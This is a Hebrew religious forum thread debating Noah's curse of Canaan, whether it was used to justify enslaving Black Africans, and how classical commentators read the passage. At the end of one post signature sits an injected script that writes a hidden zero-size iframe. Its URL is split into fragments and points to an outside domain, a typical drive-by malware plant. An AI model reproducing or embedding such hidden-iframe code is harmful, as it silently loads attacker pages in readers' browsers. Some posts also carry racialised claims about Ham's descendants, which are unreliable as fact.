| נשלח ב-18/10/2015 22:51 |
 |
| |
בבא נח? (או משמעותה של ברכה)
בראשית פרק ט, יח-כז
(יח) ויהיו בני נח היצאים מן התבה שם וחם ויפת וחם הוא אבי כנען: (יט) שלשה אלה בני נח ומאלה נפצה כל הארץ: (כ) ויחל נח איש האדמה ויטע כרם: (כא) וישת מן היין וישכר ויתגל בתוך אהלה: (כב) וירא חם אבי כנען את ערות אביו ויגד לשני אחיו בחוץ: (כג) ויקח שם ויפת את השמלה וישימו על שכם שניהם וילכו אחרנית ויכסו את ערות אביהם ופניהם אחרנית וערות אביהם לא ראו: (כד) וייקץ נח מיינו וידע את אשר עשה לו בנו הקטן: (כה) ויאמר ארור כנען עבד עבדים יהיה לאחיו: (כו) ויאמר ברוך יקוק אלהי שם ויהי כנען עבד למו: (כז) יפת אלהים ליפת וישכן באהלי שם ויהי כנען עבד למו:
מקובל לחשוב, (אינני יודע מקור לכך, אבל זה מסתבר גם בלי מקור) שעד היום האפריקנים שחורי העור הם עבדים של שם ויפת בזכות ברכתו (קללתו?) של נח.
ואני שואל, מה היה כוחו של נח גדול שבהבל פיו חרץ גורלות לדורי דורות? הרי לא מדובר פה בנבואה כמו בשעה שיעקב אבינו או משה רבינו בירכו את השבטים לפני מותם, פה הרי מדובר בעונש שהגיע לחם בגלל שהוא עשה מעשה שלא יעשה. ובמיוחד לפי הפירוש שאילו נח היה בדורו של אברהם אבינו לא היה נחשב לכלום. אז מה פשר הדבר שכברכתו כל כך עבדה? איך זה שעד היום לא פג תוקפה? האם באותה תקופה כל מי שהיה מברך הייתה לברכתו משמעות כל כך רחבה? האם זה דווקא נח? למה היום לא ברכות מעין אלו לא עובדות בצורה כל כך אבסולוטית גם מאנשים גדולים בתורה?
 |
|
|
|
|
| נשלח ב-18/10/2015 23:00 |
|
| |
עד היום? ממתי בדיוק? אתה חושב שהאפריקאים עבדים מימי נח?
ככל הידוע לי מדובר על צידוק של נוצרים ויהודים שעסקו ב'לא תגנב'.
|
|
|
|
| נשלח ב-18/10/2015 23:31 |
|
| |
עיקר משמעות פרשה זו היא ליישב איך ישראל לקחו מכנען את נחלתו ולכן כאן על אף שמי שראה את אביו היה חם ולא כנען בכל זאת הקללה היא לכנען כיון שהוא הרלוונטי מבחינת התורה וכדברי רש"י הראשון על 'כח מעשיו הגיד לעמו לתת להם נחלת גוים שאם וכו''
עיקר הדבר הוא לא בכך שאבי הכנענים היה חסר כבוד אלא כך הוא גם בצאצאיו שהקללת האב וקלקולו דבקו בהם וכך הם גם כיום והתורה אומרת על יושבי הארץ כמעשה ארץ כנען אשר אתה בא שמה לא תעשו והוא איסור העריות
|
|
|
|
| נשלח ב-18/10/2015 23:35 |
|
| |
1, האבן עזרא תוקף את התזה הזה כאילו השחורים הם כנען, הסיבה הפשוטה היא שהשחירות היא עניין דמוגרפי ככה שאם תתנחל שם מספיק דורות גם צאצאיך יהיו שחורים, ראה את השבטים היהודיים.
2, קללות וברכות של נביאים לא פועלים כמו שאתה חושב. הם חוזים קללות או ברכות בעתיד על פי התנהגותם של אותו חברה בהווה.
כנען כידוע התנחל בארץ לא לו, מכאן כל הקללות שלו, כלומר נח אומר לבניו: אם כיבוש זה דרכך, אז לעולם תאכל חרב. אז לא נח קילל והתקיים הקללה (הרי זאת שטות, הרי לא ימותו בנים על אבות וכן ההפך), הוא גם לא היה מקלל את בניו הוא, איזה אב מקלל את צאצאיו הוא ? הוא מזהיר את כנען שככה יהיה אם תחיה על חרב וכיבוש.
היום אפשר לומר את הקללה הזאת על הלאומניים מעמינו שמוכנים לאחוז בחרב על חשבון הרווקים והרווקות = על חשבון הילדים שלהם עצמן.
הנביא היום היה אומר, שלא רק תאכל חרב כל חייך, רק גם הארץ לא תהיה שלך באמת, רק היא תהיה של משפחת תשובה וכל הדירות יהיו שייכים לבנקים (כ75% +פיגורים = 100%), ככה שלכל יהודי אין זכות אפי' לאגור בארצו מים ומי גשם.
אז אם אתה מחפש את קיומו של קללות נח אצל כנען שכבר מזמן לא קיימים, אז פשוט תסתכל במראה ותראה אצל מי קיימת היום קללת נח וקללת כל הנביאים.
|
|
|
|
|
| נשלח ב-19/10/2015 04:42 |
|
| |
| maxmen כתב: |  | | 1, האבן עזרא תוקף את התזה הזה כאילו השחורים הם כנען, הסיבה הפשוטה היא שהשחירות היא עניין דמוגרפי ככה שאם תתנחל שם מספיק דורות גם צאצאיך יהיו שחורים, ראה את השבטים היהודיים. |
|
איך זה מוכיח שרוב האנשים שם אינם מכנען? לכל היותר זה אומר שצריך להוכיח שהם כנען, ועדיין יכולים לטעון שכך עבר במסורת.
אגב, כוונתך כנראה גאוגרפי ולא דמוגרפי.
לי יש נידון אחר:
האם קללת נח נגמרה במרטין לותר קינג? מה אתה היום?
שמא נאמר נתבלבלו האומות?
|
|
|
|
|
| נשלח ב-19/10/2015 04:45 |
|
| |
| 1yakovw כתב: | | | עיקר משמעות פרשה זו היא ליישב איך ישראל לקחו מכנען את נחלתו |
|
יפה!
עכשיו אני מבין למה יש שרוצים לומר שהפלסטינים הם צאצאי כנען... (:
|
|
|
|
| נשלח ב-19/10/2015 09:04 |
|
| |
עומד בפרץ
יפה שאלת! איקון ירוק!
אני מניח שאתה יודע שיש ממבקרי המקרא, אלו שסבורים שסיפורים נוצרו כדי להצדיק רעיון, טוענים שהסיפור הומצא כדי לנמק את הזכות לקחת מכנען את ארצו.
עד כמה שידוע לי, משעבדי העבדים שחורי העור אכן טענו שהם בסך הכל מקיימים מה שכתוב בתנ"ך, שאותו ראו כספר מחייב לפי פרשנות דתם הנוצרית.
ניתן גם לשאול: וכי יש לגזור על צאצאים בשל האב? עד היכן?
ואם תרצה, נזכיר את טבי עבדו של רבן גמליאל, שכשר היה, ותלמיד חכם היה, והיה רבו מצטער למצוא היתר כדי לשחררו, ולא עלה בידו. ובאמת יש לשאול לבעלי השיטה של מטא הלכה, שההלכה מתכופפת בפני התכליות הטובות והתועלתניות, האם לא היה ראוי לשחרר את טבי למרות האיסור שדרשו לשחרר עבדים?
סבור אני שהסיפור מופיע במקרא מפני שמעשה שהיה כך היה. נח נפגע מנכדו (בנו הקטן שנזכר בפסוק - של חם, הוא היה האשם ולכן הוא שקולל). מדוע קיללו נח? אם תרצה אמור שכאשר אי אפשר לפגוע פיזית, האדם לפחות מקלל (אם הוא ברמה מסויימת) ואם תרצה אמור שנח האמין בכוחה של קללה.
האם הקללה משנה משהו במציאות? יש שהאמינו שכן. אני סבור שלא. אני אתקשה להאמין שה' ברא עולם שבו קללות פועלות. מה שכן, אפשר שזה סיפור טיפולוגי. צא וראה מה היה טבע אבי כנן הקדמון, או לפחות מה היה המעשה שעשה בנערותו.
יכול היה כנען לבחור דרך אחרת לעצמו, ואז היינו אומרים: צאו וראו איך התחיל ואיך חינך את עצמו. אבל לא כן היה.
***
יעקב 1, ברוך הבא או ברוך השב!
__תוקנה טעות בשם פותח האשכול... וברכה ליעקב_______________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 19/10/2015 09:04:50
|
|
|
|
|
| נשלח ב-19/10/2015 11:12 |
|
| |
איני זוכר אם כבר שאלתי- מדוע חז"ל כינו את הגויים כולם בני נח ?
בלי לקבל את הסיפור הדמיוני שאין לו יסוד במקור.- מה בעצם עשה לו כנען או ו חם שנח קילל אותו?
|
|
|
|
| נשלח ב-19/10/2015 14:51 |
|
| |
את הצד הרציונליסטי ביארו כאן יפה מאד. ולפי פירוש הרמח"ל בתקופה ההיא היה העולם בעידן השרשים, שבו כל דבר הטביע את חותמו בעולם. כך גם מתפרש כוחם הגדול של מעשי האבות.
|
|
|
|
| נשלח ב-19/10/2015 15:09 |
|
| |
אני אחזור על דבריי.
עלתה כאן שאלה מה הייתה כוחה של קללת נח שכך התקיימה. שאלו עוד מה קרה לה שהפסיקה. ועל זה ענו כאן בכובד ראש.
ההנחה היא כאילו מאז ימי נח השחורים הם עבדים. עומדבפרץ מניח שכך זה עד היום, ואילו כמדומני תוהה מה קורה מאז מרטין לותר קינג (לכאו' צריך היה לתהות מאז ביטול העבדות שכומבן לא קשור למרטין לותר קינג).
אלא שכפי שכתבתי השחורים לא היו עבדים מאז ומעולם הם היו עבדים כמו שלבנים היו עבדים. הסחר בעבדים שחורים הומצא רק במאה ה-16 והתקיים עד המאה ה-19. כלומר אם אנו מקשרים זאת לקללת נח (מה שעומדבפרץ אומר ש"מסתבר", על אף שזה מצריך גם לומר שהוא לא קילל רק את כנען אלא את כל בני חם בניגוד למה שכתוב), הרי שהקללה החלה להתקיים לאחר יותר מ-3500 שנה, והתקיימה פחות מארבע מאות שנה (ומי יודע, אולי גם הגוי אשר יעבודו יידון בבוא היום). קשה לי להאמין שזה קשור לקללת נח. גם גזעים אחרים חוו חוויות טראומטיות, וזאת בלי קשר לאירועים מקראיים.
עומדבפרץ אמר שאינו יודע מה המקור לקישור בין קללת נח לעבדות השחורים. על זה אענה שוב - המקור הוא במחשבתם של הרשעים (נוצרים ויהודים) שהצדיקו את מוסד העבדות, כלומר את חטיפתם של אנשים באפריקה, הובלתם בעינויים וסכנות לאמריקה, הפיכתם לרכוש, נגישתם בפרך, השפלתם הסדיסטית, והאונס המיני שלהם. מעשי רשע כאלה מצריכים את האדם כנראה למצוא צידוק, וצידוק כזה הם מצאו להם בתורתנו הקדושה. אני לא רואה עניין להשתתף בהצדקה של מעשי רשע שכאלה על ידי קריאה עקומה של התורה וההיסטוריה.
תוקן על ידי יש3 ב- 19/10/2015 15:16:37
|
|
|
|
|
| נשלח ב-19/10/2015 15:14 |
|
| |
עד כמה שכתוב בתורה -כנען הארור- לא היה שחור! ולכן כל התזה על כאילו הצדקת השעבוד של הכושים מהתורה נופלת.
|
|
|
|
| נשלח ב-19/10/2015 15:25 |
|
| |
בתורה לא כתוב כלום על הצבע של כנען, אבל היא מייחסת אותו לבני חם האפריקאים. בציורים המצריים הצבע של יושבי ארץ כנען הוא חום בהיר ושל יושבי אפריקה שחור (המצרים עצמם צבועים במין אדום).
יש, לכאורה בראב"ע אנו רואים שעבדות הכושים נהגה כבר בזמנו. ז"ל ויש אומר כי הכושים הם עבדים, בעבור שקילל נח את חם. והנה שכחו כי המלך הראשון אחר המבול היה מכוש, וכן כתוב: "ותהי ראשית ממלכתו בבל".
אמנם זכור לי שבימי הביניים קראו היהודים לעמים הסלאביים כנענים, וזאת כי היו ביניהם הרבה עבדים, והיהודים היו סוחרים בעבדים.
אגב, מעניין שהראי"ה, בטיעוניו האפולוגוטיים למען התורה, מצדיק את העבדות בטיעונים גזעניים קלאסיים:קישור
|
|
|
|
| נשלח ב-19/10/2015 15:32 |
|
| |
הוא התכוון למה שאני אמרתי שהקללה היא לכנען ולא לחם או לכוש.
כתבתי שהיו עבדים שחורים, והיו גם עבדים לבנים. ביה"ב המוסלמים לקחו עבדים מהברברים שלהם - האפריקאים, והנוצרים מהברברים שלהם - הסלאבים (מה שהתכוונת אליו הוא שבוהמיה קרויה במקורות יהודיים ארץ כנען). בכל אופן לא היו כמויות של עבדים שחורים כמו באמה ה-18.
|
|
|
|
| נשלח ב-19/10/2015 15:33 |
|
| |
אריאל
כנראה שעוד לא הספקת לקרא את פרשת השבוע
אברהם אבינו הגיע לארץ כנען- והכנעני אז בארץ- הוא נאלץ לרדת מצרימה- כפי שרש"י מסביר מקום של אנשים שחורים ומכוערים.
כולם כתבו דברים מכוערים על הכושים- הרמב"ם מכנה אותם כתת אדם- על כך אין כל ויכוח, אני טענתי כי הכנענים ילא היו שחורים וכושים.
|
|
|
|
| נשלח ב-19/10/2015 17:21 |
|
| |
אגב, אריאל, לא התלוננתי בכלל על הגזענות. גם אם היו עושים את זה באופן שוויוני ללבנים ושחורים זה היה פשע מזעזע - גונב נפש מתעמר בו ומכרו.
|
|
|
|
| נשלח ב-20/10/2015 00:09 |
|
| |
מיימוני, ברוך שכיוונת.
כך פירש הרש"ר הירש.
רש"ר הירש בראשית פרק ט פסוק כה
הרי כאן חזון עמוק ומקיף וחובק זרועות עולם. אולי זכה נח לראות בעיני רוחו - יותר מכל בן תמותה, שה' פקח את עיניו ושם את דבריו בפיו. כל דברי ימי האנושות - בעבר, בהווה ובעתיד - מקופלים בשלושת הפסוקים האלה. כבר ראינו לעיל, כי שמות בני נח מבטאים את אופיים; אף הם רומזים לתכונות העיקריות של העמים שיצאו מהם - הכל לפי מידת השליטה, בה משליטים על עצמם את הרוח, החושניות או הנפש. כאן הם נזכרים במשמעותם הכפולה - כיחידים וכראשי אומות. (כה) כשנח התעורר, ושמע על מעשה חם, היתה זו מחשבתו הראשונה: מידתו של חם שהתגלתה כאן - אין לה זכות קיום, ואין לה עתיד (ואכן, אין צורך לפרש, ש"ארור" מביע תמיד משאלה - במשמעותה המקובלת של "קללה"; אלא ייתכן - בייחוד כאן -, ש"ארור" מבטא הודעה והכרזה). התאוה החושנית ה"חמה", שאיננה שליטה בעצמה, שאיננה יראה מכל ערך רוחני, איננה מסוגלת לשלוט, ואיננה מוכשרת לשמור על חירותה. היא עקרה מתוך עצמה; נס ליחה, תש כוחה, נכרת לה שם ושאר; ממנה ובה תיפתח רעתה:
|
|
|
|
|
